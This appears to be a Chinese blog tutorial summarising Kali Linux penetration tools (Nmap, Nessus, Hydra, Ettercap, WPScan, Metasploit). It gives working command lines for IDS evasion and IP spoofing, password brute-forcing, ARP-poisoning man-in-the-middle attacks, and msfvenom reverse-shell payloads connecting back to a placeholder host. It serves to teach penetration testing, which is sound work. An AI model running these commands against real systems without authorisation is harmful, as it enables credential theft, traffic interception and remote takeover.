以是写一个渗透过程中可能用到的kali渗透工具的小小总结
写的不对 多多包涵 各位大佬轻喷 :D
Kali用得好 牢饭准管饱
渗透不规范 亲人两行泪
先来理解一下Kali(From Wikipdeia)Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd掩护和帮助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook
其余Kali Linux 集成了以下安全软件:
Metasploit、RFMON、Aircrack-NG、Gerix Wifi Cracker、Kismet、Nmap、Ophcrack、Ethercap、Wireshark (formerly known as Ethereal)、
BeEF (Browser Exploitation Framework)、Hydra
OWASP Mantra Security Framework (一套基于FireFox的工具、插件和脚本)
Cisco OCS Mass Scanner (通过telnet以及默认密码扫描思科路由器)
exploit 程序比如 浏览器
BackTrack 工具软件分成12大类:
Information Gathering(信息网络)
Vulnerability Assessment(漏洞评定工具)
Exploitation Tools(开拓工具)
Privilege Escalation(用户提权)
Maintaining Access(掩护登录)
Reverse Engineering(逆向工程)
RFID Tools(RFID工具)
Stress testing(压力测试)
Forensics(取证)
Reporting Tools(报告工具)
Services(做事)
Miscellaneous(杂项)
Kali工具:一、Nmap(网络映射器 Network Mapper)先容Nmap是一款开源免费的网络创造(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区浩瀚的志愿者参与下,该工具逐渐成为最为盛行安全必备工具之一。详情可以拜会:www.nmap.org。
一样平常情形下,Nmap用于列举网络主机清单、管理做事升级调度、监控主机或做事运行状况。Nmap可以检测目标机是否在线、端口开放情形、侦测运行的做事类型及版本信息、侦测操作系统与设备类型等信息。
可以作为信息网络工具,网络有关主机的信息;也可以供应防火墙规避和欺骗功能
Nmap的优点:
灵巧:支持数十种不同的扫描办法,支持多种目标工具的扫描强大:Nmap可以用于扫描互联网上大规模的打算机可移植:支持主流操作系统:Windows/Linux/Unix/MacOS等等;源码开放,方便移植大略:供应默认的操作能覆盖大部分功能,基本端口扫描nmap targetip,全面的扫描nmap –A targetip自由:Nmap作为开源软件,在GPL License的范围内可以自由的利用文档丰富:Nmap官网供应了详细的文档描述。Nmap作者及其他安全专家编写了多部Nmap参考书本社区支持:Nmap背后有强大的社区团队支持赞誉有加:得到很多的褒奖,并在很多影视作品中涌现(如黑客帝国2、Die Hard4等)盛行:目前Nmap已经被成千上万的安全专家列为必备的工具之一功能及特点主机存活检测:探测网络上的主机,例如列出相应TCP和ICMP要求、icmp要求、开放特殊端口的主机端口探测:探测目标主机所开放的端口做事识别操作系统识别:探测目标主机的操作系统及网络设备的硬件特性硬件地址检测做事版本识别:探测目标主机的网络做事,判断其做事名称及版本号漏洞扫描,利用nmap自带脚本支持探测脚本的编写:利用Nmap的脚本引擎(NSE)和Lua编程措辞
通过对设备或者防火墙的探测来审计它的安全性探测目标主机所开放的端口网络存储,网络映射,掩护和资产管理通过识别新的做事器审计网络的安全性探测网络上的主机
端口扫描的6种状态:
open:端口是开放的closed:端口是关闭的filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态unfiltered:端口没有被屏蔽,但是否开放须要进一步确定open|filtered:端口是开放的或被屏蔽closed|filtered :端口是关闭的或被屏蔽
大略利用默认发送一个arp的ping数据包,用来探测目标主机在1-10000范围内所开放的端口:
nmap <target ip address>
对返回的结果详细描述输出
nmap -vv <target ip address>
通过参数-p 来设置我们将要扫描的端口号:(range为端口扫描的范围 不超过65535)
nmap -p(range) <target IP>
指定端口扫描:
nmap -p(port1,port2,port3,...) <target ip>
例如:
nmap -p80,443,8080 <target ip address>
利用 ping 扫描:
nmap -sP <target ip>
路由追踪:
nmap --traceroute <target ip>
利用SYN的方法对全端口进行扫描,在aggressive(4)的韶光模板下,同时对开放的端口进行端口识别:(SYN是TCP/IP建立连接时利用的握手旗子暗记)
nmap -p1-65535 -sV -sS -T4 <target ip>
aggressive(4)韶光模板,探测操作系统类型和版本,以及显示traceroute的结果:
nmap -v -sS -A -T4 <target ip>nmap -v -p 1-65535 -sV -O -sS -T4 <target ip>
insane(5)的韶光模板,探测操作系统类型和版本,以及显示traceroute的结果:
nmap -v -sS -A -T5 <target ip>nmap -v -sV -O -sS -T5 <target ip>nmap -v -p 1-65535 -sV -O -sS -T5 <target ip>
扫描的结果输出到屏幕,同时会存储一份filename.txt:
nmap -sV -p 139,445 -oG filename.txt <target ip>
扫描指定的目标主机,同时检测干系漏洞:
nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 <target ip>
利用参数列表
-iL filename 从文件中读取待检测目标,文件中的表示方法支持机名,ip,网段-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则无休止的扫描--exclude host1[, host2] 扫描任务中须要打消的主机--exculdefile exclude_file 打消文件中的IP,格式和-iL指定扫描文件格式相同
主机创造:
-sL 仅仅显示扫描的IP数目,不会进行任何扫描-sn ping扫描,即主机创造-Pn 不检测是否主机存活-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping的创造-PE/PP/PM 利用ICMP echo, timestamp and netmask 要求包来创造主机-PO[prococol list] 利用IP协议包来探测对方主机是否开启-n/-R 不对IP进行域名反向解析/对所有的IP都进行域名反向解析
扫描技巧:
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描-sU UDP扫描-sN/sF/sX TCP Null,FIN,and Xmas扫描--scanflags 自定义TCP包中的flags(标志位)-sI zombie host[:probeport] Idlescan-sY/sZ SCTP INIT/COOKIE-ECHO 扫描-sO 利用IP protocol 扫描确定目标机所支持的协议类型-b “FTP relay host” 利用FTP bounce scan
指定端口和扫描顺序:
-p 扫描特定的端口 -p80,443 或者 -p1-65535-p U:PORT 扫描udp的某个端口, -p U:53-F 快速扫描模式,比默认的扫描端口要少-r 不随机扫描端口,默认是随机扫描--top-ports "number" 扫描开放概率最高的number个端口,涌现的概率须要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个--port-ratio "ratio" 扫描指定频率以上的端口
做事版本的识别:
-sV 开放版本探测,可以直策应用-A同时打开操作系统探测和版本探测--version-intensity "level" 设置版本扫描强度,强度水平解释了该当利用哪些探测报文。数值越高,做事越有可能被精确识别。默认是7--version-light 打开轻量级模式,为--version-intensity 2的别名--version-all 考试测验所有探测,为--version-intensity 9的别名--version-trace 显示出详细的版本侦测过程信息
利用脚本扫描:
-sC 根据端口识别的做事,调用默认脚本--script=”Lua scripts” 须要调用的脚本名--script-args=n1=v1,[n2=v2] 调用脚本通报的参数--script-args-file=filename 利用文本通报参数--script-trace 显示所有发送和吸收到的数据--script-updatedb 更新脚本的数据库--script-help=”Lua script” 显示指定脚本的帮助选项
OS识别:
-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测--osscan-limit 针对指定的目标进行操作系统检测(至少确知该主机分别有一个open和closed的端口)--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时,会尽可能地供应最附近的匹配,Nmap默认进行匹配
防火墙/IDS躲避和哄骗:
-f; --mtu value 指定利用分片、指天命据包的MTU.-D decoy1,decoy2,ME 利用诱饵暗藏扫描-S IP-ADDRESS 源地址欺骗-e interface 利用指定的接口-g/ --source-port PROTNUM 利用指定源端口 --proxies url1,[url2],... 利用HTTP或者SOCKS4的代理 --data-length NUM 添补随机数据让数据包长度达到NUM--ip-options OPTIONS 利用指定的IP选项来发送数据包--ttl VALUE 设置IP time-to-live域--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装--badsum 利用缺点的checksum来发送数据包
选择输出格式:
-oN 将标准输出直接写入指定的文件-oX 输出xml文件-oS 将所有的输出都改为大写-oG 输出便于通过bash或者perl处理的格式,非xml-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出-v 提高输出信息的详细度-d level 设置debug级别,最高是9--reason 显示端口处于带确认状态的缘故原由--open 只输出端口状态为open的端口--packet-trace 显示所有发送或者吸收到的数据包--iflist 显示路由信息和接口,便于调试--log-errors 把日志等级为errors/warings的日志输出--append-output 追加到指定的文件--resume FILENAME 规复已停滞的扫描--stylesheet PATH/URL 设置XSL样式表,转换XML输出--webxml 从namp.org得到XML的样式--no-sytlesheet 忽略XML声明的XSL样式表
其他选项:
-6 开启IPv6-A OS识别,版本探测,脚本扫描和traceroute--datedir DIRNAME 解释用户Nmap数据文件位置--send-eth / --send-ip 利用原以太网帧发送/在原IP层发送--privileged 假定用户具有全部权限--unprovoleged 假定用户不具有全部权限,创建原始套接字须要root权限-V 打印版本信息-h 输出帮助
高等用法
防火墙/IDS规避:
防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地创造目标主机的状况
Nmap供应了多种规避技巧,常日可以从两个方面考虑规避办法:数据包的变换(Packet Change)与时序变换(Timing Change)
规避用法:
-f; --mtu <val>: 指定利用分片、指天命据包的MTU-D <decoy1,decoy2[,ME],...>: 用一组IP地址粉饰真实地址,个中ME填入自己的IP地址-S <IP_Address>: 伪装成其他IP地址-e <iface>: 利用特定的网络接口-g/--source-port <portnum>: 利用指定源端口--data-length <num>: 添补随机数据让数据包长度达到Num--ip-options <options>: 利用指定的IP选项来发送数据包--ttl <val>: 设置time-to-live韶光--spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址--badsum: 利用缺点的checksum来发送数据包(正常情形下,该类数据包被抛弃,如果收到回答,解释回答来自防火墙或IDS/IPS)
例子:
-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示利用IP诱骗办法粉饰自己真实IP(个中ME表示自己IP);-e eth0表示利用eth0网卡发送该数据包;-g 3355表示自己的源端口利用3355;192.168.1.1是被扫描的目标IP地址
nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
绝招:
man Nmap
参考:
0x00
0x01
二、Nessus(系统弱点扫描剖析软件)先容Nessus号称是天下上最盛行的漏洞扫描程序,全天下有超过75000个组织在利用它。该工具供应完全的电脑漏洞扫描做事,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞剖析扫描。Nessus也是渗透测试主要工具之一,可以帮助找到潜在攻击者可能利用的漏洞,Nessus常日包括成千上万的最新的漏洞,各种各样的扫描选项,及易于利用的图形界面和有效的报告
为了定位在目标系统上的漏洞,Nessus依赖feeds的格式实现漏洞检讨
特点先容:
供应完全的电脑漏洞扫描做事,并随时更新其漏洞数据库不同于传统的漏洞扫描软件。Nessus可同时在本机或远程掌握,进行系统的漏洞剖析扫描其运作效能随着系统的资源而自行调度。如果将主机配置更多的资源(如加快CPU速率或增加内存大小),其效率表现可由于丰富资源而提高可自行定义插件NASL(Nessus Attack Scripting Language)是由Tenable所发出的措辞,用来写入Nessus的安全测试选项完备支持SSL(Secure Socket Layer)
官网下载地址
关于Kali安装Nessus就不说了安装教程
大略利用方法先启动Nessus做事
/etc/init.d/nessusd startStarting Nessus:
然后去https://kali:8834/ Nessus登录界面 输入账号登录
Nessus 主界面
主页面右侧点击Policies 进入后点击右上角 New Policy 涌现如下图
该界面选择创建策略类型。Nessus默认支持10种策略类型。这里随便选个 Advanced Scan 进入后
在该界面设置策略名、可见性和描述信息(可选项) 右侧边条对应选项可选择设置多个选项
选择插件程序点击Plugins
该界面显示了所有插件程序,默认全部是启动的。在该界面可以单击Disable All按钮,禁用所有启动的插件程序。然后指定须要启动的插件程序,即可启动,再次点击绿色按钮即可禁用
在扫描策略设置好往后,需新建扫描任务才能开始扫描漏洞
切回主界面 点击Scans 右上角New Scan 建立新扫描任务
在该界面设置扫描任务名称、利用策略、文件夹和扫描的目标。这里分别设置为Sample Scan、Policy(之前建立好的策略)、My Scans和192.168.41.0/24。然后单击Launch
扫描网络漏洞如果用户想要利用Nessus攻击一个大范围的漏洞,须要配置评估漏洞列表并指定获取信息的评估列表。下面先容配置Nessus在目标主机探求网络漏洞,这些漏洞指目标主机或其他网络协议
1.新建一个名为 NetWork Scan 的策略
2.在策略中添加所须要的插件程序
CISCO 扫描CISCO系统DNS 扫描DNS做事器Default Unix Accounts 扫描本地默认用户账户和密码FTP 扫描FTP做事器Firewalls 扫描代理防火墙Gain a shell remotely 扫描远程获取的ShellGeeral 扫描常用的做事Netware 扫描网络操作系统Peer-To-Peer File Sharing 扫描共享文件检测Policy Compliance 扫描PCI DSS和SCAP信息SCADA 扫描设置管理工具SMTP Problems 扫描SMTP问题SNMP 扫描SNMP干系信息Service Detection 扫描做事侦察Settings 扫描基本设置
3.在主界面新建一个扫描任务 开始扫描
4.扫描完成后查看扫描报告,如创造漏洞想详细剖析可以到处文件详细剖析
扫描指定的linux系统漏洞接下来先容利用Nessus扫描指定Linux系统上的漏洞
常规步骤 给一下须要添加的插件程序:
Backdoors 扫描秘密信息Brute Force Attacks 暴力攻击CentOSo Local Security Checks 扫描CentOS系统确当地安全漏洞DNS 扫描DNS做事器Debian Local Security Checks 扫描Debian系统确当地安全漏洞Default Unix Accounts 扫描默认Unix用户账号Denial of Service 扫描谢绝的做事FTP 扫描FTP做事器Fedora Local Security Checks 扫描Fedora系统确当地安全漏洞Firewalls 扫描防火墙FreeBSD Local Security Checks 扫描FreeBSD系统确当地安全漏洞Gain a shell remotely 扫描远程得到的ShellGeneral 扫描漏洞Gentoo Local Security Checks 扫描Gentoo系统确当地安全漏洞HP-UX Local Security Checks 扫描HP-UX系统确当地安全漏洞Mandriva Local Security Checks 扫描Mandriva系统确当地安全漏洞Misc 扫描繁芜的漏洞Red Hat Local Security Checks 扫描Red Hat系统确当地安全漏洞SMTP Porblems 扫描SMTP问题SNMP 扫描SNMP漏洞Scientific Linux Local Security Checks 扫描Scientific Linux系统确当地安全漏洞Slackware Local Security Checks 扫描Slackware系统确当地安全漏洞Solaris Local Security Checks 扫描Solaris系统确当地安全漏洞SuSE Local Security Checks 扫描SuSE系统确当地安全漏洞Ubuntu Local Security Checks 扫描Ubuntu系统确当地安全漏洞Web Servers 扫描Web做事器
扫描指定的windows系统漏洞
给出须要添加的插件程序:
DNS 扫描DNS做事器Databases 扫描数据库Denial of Service 扫描谢绝的做事FTP 扫描FTP做事器SMTP Problems 扫描SMTP问题SNMP 扫描SNMPSettings 扫描设置信息Web Servers 扫描Web ServersWindows 扫描WindowsWindows:Microsoft Bulletins 扫描Windows中微软公告Windows:User management 扫描Windows用户管理
三、Hydra+Ettercap(密码破解+中间人攻击)hydra(密码破解)
Hydra是一个相称强大的暴力密码破解工具。该工具支持险些所有协议的在线密码破解,如FTP、HTTP、HTTPS、MySQL、MS SQL、Oracle、Cisco、IMAP和VNC等。其密码能否被破解,关键在于字典是否足够强大
经由测试,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上进行干净的编译
目前该工具支持以下协议:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MEMCACHED,MONGODB,MS-SQL,MYSQL ,NCP,NNTP,Oracle侦听器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,Radmin,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP列举,SNMP v1 + v2 + v3,SOCKS5,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP
支持的平台:
1.所有UNIX平台(Linux, BSD,Solaris等)2.MacOS(基本上是BSD克隆)3.带Cygwin的Windows(IPv4和IPv6)4.基于Linux,MacOS或QNX的移动系统(例如Android,iPhone,Blackberry 10,Zaurus,iPaq)
此工具在Kali上有图形界面版 如下
点击运用程序 搜索框搜索hydra 打开hydra-gtk
该界面用于设置目标系统的地址、端口和协议等。如果要查看密码攻击的过程,将Output Options框中的Show Attempts复选框勾上
进入Password界面
/usr/share/wfuzz/wordlist/others/names.txt
/usr/share/wfuzz/wordlist/others/common_pass.txt
在该界面指定用户名和密码列表文件,这里利用Kali系统中存在的用户名和密码列表文件,并选择Loop around users选项。个中,用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/others/names.txt和/usr/share/wfuzz/wordlist/others/common_pass.txt中
设置好密码字典后,单击Tuning选项
在该界面设置任务的编号和超时时间。如果运行任务太多的话,做事的相应速率将低落。以是要建议将原来默认的任务编号16修正为2,超时时间修正为15。然后将Exit after first found pair的复选框勾上,表示找到第一对匹配项时则停滞攻击
进行start界面 在该界面显示了四个按钮,分别是启动、停滞、保存输出和打消输出。这里单击Start按钮开始攻击
xHydra工具根据自定的用户名和密码文件中的条款,进行匹配。当找到匹配的用户名和密码时,则停滞攻击 密码字典越强大越好
Hydra Github
Ettercap(网络嗅探)先容官网 Github
官网先容:Ettercap是针对中间人攻击的综合套件。它具有实时连接的嗅探,动态内容过滤和许多其他有趣的技巧。它支持许多协议的主动和被动阐发,并包括许多用于网络和主机剖析的功能(内网渗透神器)
也是Linux下一个强大的欺骗工具,也适用于Windows。用户能够利用Ettercap工具快速地创建假造的包,实现从网络适配器到运用软件各种级别的包,绑定监听数据到一个本地端口等
中间人攻击中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技能手段将受入侵者掌握的一台打算机虚拟放置在网络连接中的两台通信打算机之间,这台打算机就称为“中间人”
中间人攻击常见的两种方法:ARP欺骗、DNS欺骗
Ettercap利用(中英文对照)Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]用法:ettercap <选项> <目标><>TARGET is in the format MAC/IP/PORTs (see the man for further detail)TARGET 的格式: MAC地址/IP地址/端口号Sniffing and Attack options: -M, --mitm <METHOD:ARGS> perform a mitm attack 履行中间人攻击 -o, --only-mitm don't sniff, only perform the mitm attack 不进行网络嗅探,只进行中间人攻击 -b, --broadcast sniff packets destined to broadcast 嗅探地址是广播地址的数据包 -B, --bridge <IFACE> use bridged sniff (needs 2 ifaces) 利用桥接嗅探(须要两个网卡) -p, --nopromisc do not put the iface in promisc mode 不要将网卡设置成殽杂模式 -S, --nosslmitm do not forge SSL certificates 禁用SSL证书假造 -u, --unoffensive do not forward packets 不转发数据包 -r, --read <file> read data from pcapfile <file> 从pcap文件读取数据<文件名> -f, --pcapfilter <string> set the pcap filter <string> 设置pcap过滤器 -R, --reversed use reversed TARGET matching 反向选择目标 -t, --proto <proto> sniff only this proto (default is all) 选择一个协议进行嗅探 --certificate <file> certificate file to use for SSL MiTM 用于SSL中间人攻击的证书文件 --private-key <file> private key file to use for SSL MiTM 用于SSL中间人攻击的私钥文件User Interface Type: -T, --text use text only GUI 文本模式 -q, --quiet do not display packet contents 安静模式 不输出过多无用信息 -s, --script <CMD> issue these commands to the GUI 将命令发送到GUI -C, --curses use curses GUI 基于curse的GUI -D, --daemon daemonize ettercap (no GUI) 守护进程 -G, --gtk use GTK+ GUI 利用GUI界面Logging options: -w, --write <file> write sniffed data to pcapfile <file> 把嗅探到的数据写入文件中 -L, --log <logfile> log all the traffic to this <logfile> 记录所有流量数据到指定文件中 -l, --log-info <logfile> log only passive infos to this <logfile> 仅记录被动信息到指定文件 -m, --log-msg <logfile> log all the messages to this <logfile> 把所有记录到指定文件中 -c, --compress use gzip compression on log files 对日志文件利用gzip压缩Visualization options: -d, --dns resolves ip addresses into hostnames 将IP地址解析为地址名 -V, --visual <format> set the visualization format 设置可视化格式 -e, --regex <regex> visualize only packets matching this regex 仅显示与此正则表达式匹配的数据包 -E, --ext-headers print extended header for every pck 打印每一个pck的扩展头 -Q, --superquiet do not display user and password 禁止显示用户名和密码General options: -i, --iface <iface> use this network interface 手动选择网卡 后面跟网卡参数 -I, --liface show all the network interfaces 列出所有可用网卡列表 -Y, --secondary <ifaces> list of secondary network interfaces 展示赞助网络接口列表 -n, --netmask <netmask> force this <netmask> on iface 设置子网掩码 -A, --address <address> force this local <address> on iface 选择手动设置IP地址 在某个端口上 -P, --plugin <plugin> launch this <plugin> 加载插件 -F, --filter <file> load the filter <file> (content filter) 加载过滤器文件 -z, --silent do not perform the initial ARP scan 禁用初始化ARP扫描 -j, --load-hosts <file> load the hosts list from <file> 从指定文件加载主机列表 -k, --save-hosts <file> save the hosts list to <file> 将主机列表保存到指定文件 -W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa) 加载WIFI密码 -a, --config <config> use the alterative config file <config> 利用备用配置文件Standard options: -v, --version prints the version and exit -h, --help <这两个大家都懂>
大略利用示例:
1.在掌握台模式下(-T)不该用殽杂模式(-p),只会看到自己的通信
ettercap -Tp
2.在掌握台模式下(-T),不该用ARP初始化(-z),不显示数据包内容(-q安静模式),但是会显示用户名和密码和其他
ettercap -Tzq
3.在掌握台模式下(-T),加载主机列表(-j),对目标实行arp毒化中间人攻击(-M arp)
ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20/
4.在掌握台模式下(-T),对全体局域网实行ARP毒化攻击(-M arp)
ettercap -T -M arp // //
5.在掌握台模式下(-T),实行ARP双向欺骗(-M arp:remote)
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
6.在掌握台模式下(-T),不该用ARP初始化(-z),利用安静模式(-q),监听所有主机110端口(pop3协议端口)
ettercap -Tzq //110
7.在掌握台模式下(-T),不进行ARP初始化(-z),利用安静模式(-q),监听目标10.0.0.1的21,22,23端口(FTP、SSH、TELNET)
ettercap -Tzq /10.0.0.1/21,22,23
8.打印输出可用插件列表
ettercap -P list
9.利用过滤脚本
etterfilter test.filter -o test.ef
关于插件
Available plugins : arp_cop 1.1 Report suspicious ARP activity autoadd 1.2 Automatically add new victims in the target range chk_poison 1.1 Check if the poisoning had success dns_spoof 1.2 Sends spoofed dns replies dos_attack 1.0 Run a d.o.s. attack against an IP address dummy 3.0 A plugin template (for developers) find_conn 1.0 Search connections on a switched LAN find_ettercap 2.0 Try to find ettercap activity find_ip 1.0 Search an unused IP address in the subnet finger 1.6 Fingerprint a remote host finger_submit 1.0 Submit a fingerprint to ettercap's website fraggle_attack 1.0 Run a fraggle attack against hosts of target one gre_relay 1.0 Tunnel broker for redirected GRE tunnels gw_discover 1.0 Try to find the LAN gateway isolate 1.0 Isolate an host from the lan link_type 1.0 Check the link type (hub/switch) mdns_spoof 1.0 Sends spoofed mDNS replies nbns_spoof 1.1 Sends spoof NBNS replies & sends SMB challenges with custom challenge pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2 pptp_clear 1.0 PPTP: Tries to force cleartext tunnel pptp_pap 1.0 PPTP: Forces PAP authentication pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation rand_flood 1.0 Flood the LAN with random MAC addresses remote_browser 1.2 Sends visited URLs to the browser reply_arp 1.0 Simple arp responder repoison_arp 1.0 Repoison after broadcast ARP scan_poisoner 1.0 Actively search other poisoners search_promisc 1.2 Search promisc NICs in the LAN smb_clear 1.0 Tries to force SMB cleartext auth smb_down 1.0 Tries to force SMB to not use NTLM2 key auth smurf_attack 1.0 Run a smurf attack against specified hosts sslstrip 1.1 SSLStrip plugin stp_mangler 1.0 Become root of a switches spanning tree
Ettercap部分参考
四、WPScan(WordPress漏洞扫描程序)工具先容官网地址 GitHub
WordPress是一款免费的,用于非商业用场的黑匣子WordPress漏洞扫描程序,专为安全专业职员和博客掩护职员编写,用于测试其网站的安全性
Kali Linux默认自带的一款漏洞扫描工具,它采取Ruby编写,能够扫描WordPress网站中的多种安全漏洞,个中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。它不仅能够扫描类似robots.txt这样的敏感文件,还可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并供应漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码
大略利用
wpscan -update 更新漏洞库wpscan --url www.target.com --enumerate p 扫描插件基本信息wpscan --url www.xxx.com --enumerate vp 扫描随意马虎受攻击的插件wpscan --url www.xxx.com --enumerate ap 扫描所有插件wpscan --url www.target.com --enumerate u 暴力列举用户名wpscan --url www.example.com --wordlist passX.txt --username admin 通过用户名字典爆破密码wpscan --url www.example.com --wordlist darkc0de.lst --threads 50 利用字典调用50个线程进行暴力破解wpscan --helpwpscan --random-agent 带着浏览器头访问wpscan <target ip/target url> 开始对做事器进行扫描wpscan <target ip/target url> --enumerate t 对利用主题进行扫描wpscan <target ip/target url> --enumerate vt 扫描主题中存在的漏洞wpscan <target ip/target url> -e at -e ap -e u 列举扫描主题、插件、用户名wpscan –url [wordpress url] –wordlist [path to wordlist] –username [username to brute force] –threads [number of threads to use] 暴力破解用户的root密码
参数选项
--update 更新数据库--url | -u <target url> 配置扫描URL--force | -f 逼迫让wpscan不要验证目标是否是wordpress--enumerate | -e [option(s)] 列举信息选项:-u 列举用户名,默认从1-10-u[10-20] 列举用户名,配置从10-20-p 列举插件--vp 只列举有漏洞的插件--ap 列举所有插件,韶光较长--tt 列举缩略图干系的文件-t 列举主题信息--vt 只列举存在漏洞的主题--at 列举所有主题,韶光较长可以指定多个扫描选项,例:"-e tt,p"如果没有指定选项,默认选项为:"vt,tt,u,vp"--exclude-content-based "<regexp or string>"当利用列举选项时,可以利用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹--config-file | -c <config file> 利用指定的配置文件--user-agent | -a <User-Agent> 指定User-Agent--cookie <String> 指定cookie--random-agent | -r 利用随机User-Agent--follow-redirection 如果目标包含一个重定向,则直接跟随跳转--batch 无需用户交互,都利用默认行为--no-color 不要采取彩色输出--wp-content-dir <wp content dir> WPScan 会去创造wp-content目录,用户可手动指定--wp-plugins-dir <wp plugins dir> 指定wp插件目录,默认是wp-content/plugins--proxy <[protocol://]host:port> 设置一个代理,可以利用HTTP、SOCKS4、SOCKS4A、SOCKS5, 如果未设置默认是HTTP协议--proxy-auth <username:password> 设置代理上岸信息--basic-auth <username:password> 设置根本认证信息--wordlist | -w <wordlist> 指定密码字典--username | -U <username> 指定爆破的用户名--usernames <path-to-file> 指定爆破用户名字典--threads | -t <number of threads> 指定多线程--cache-ttl <cache-ttl> 设置 cache TTL.--request-timeout <request-timeout> 要求超时时间--connect-timeout <connect-timeout> 连接超时时间--max-threads <max-threads> 最大线程数--throttle <milliseconds> 当线程数设置为1时,设置两个要求之间的间隔--help | -h 输出帮助信息--verbose | -v 输出Verbose--version 输出当前版本
非入侵式检测:wpscan -u www.example.com吧默认选项列举信息:wpscan -u www.example.com -e列举插件信息:wpscan -u www.example.com -e p爆破用户名admin的密码:wpscan -u www.example.com --wordlist darkc0de.lst --username admin --threads 50
参考
五、Metasploit Framework工具先容官网 GitHub
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息网络、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉全体宇宙”之名
msfvenom(用于天生木马文件)-p, --payload <payload> 指定须要利用的payload(攻击荷载)-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all-n, --nopsled <length> 为payload预先指定一个NOP滑动长度-f, --format <format> 指定输出格式 (利用 --help-formats 来获取msf支持的输出格式列表)-e, --encoder [encoder] 指定须要利用的encoder(编码器)-a, --arch <architecture> 指定payload的目标架构 --platform <platform> 指定payload的目标平台-s, --space <length> 设定有效攻击荷载的最大长度-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'-i, --iterations <count> 指定payload的编码次数-c, --add-code <path> 指定一个附加的win32 shellcode文件-x, --template <path> 指定一个自定义的可实行文件作为模板-k, --keep 保护模板程序的动作,注入的payload作 为一个新的进程运行 --payload-options 列举payload的标准选项-o, --out <path> 保存payload-v, --var-name <name> 指定一个自定义的变量,以确定输出格式 --shellest 最小化天生payload-h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表
查看支持的payload列表:msfvenom -l payloads查看支持的输出文件类型:msfvenom --help-formats查看支持的编码办法:(为了达到免杀的效果):msfvenom -l encoders查看支持的空字段模块:(为了达到免杀的效果):msfvenom -l nops
大略payload利用
Linux:
反向连接:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=< Port to Connect On> -f elf > shell.elf正向连接:msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f asp > shell.asp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.py
msfconsole(命令行)
这个界面可看到metasploit当前版本,各个模块的插件数量。
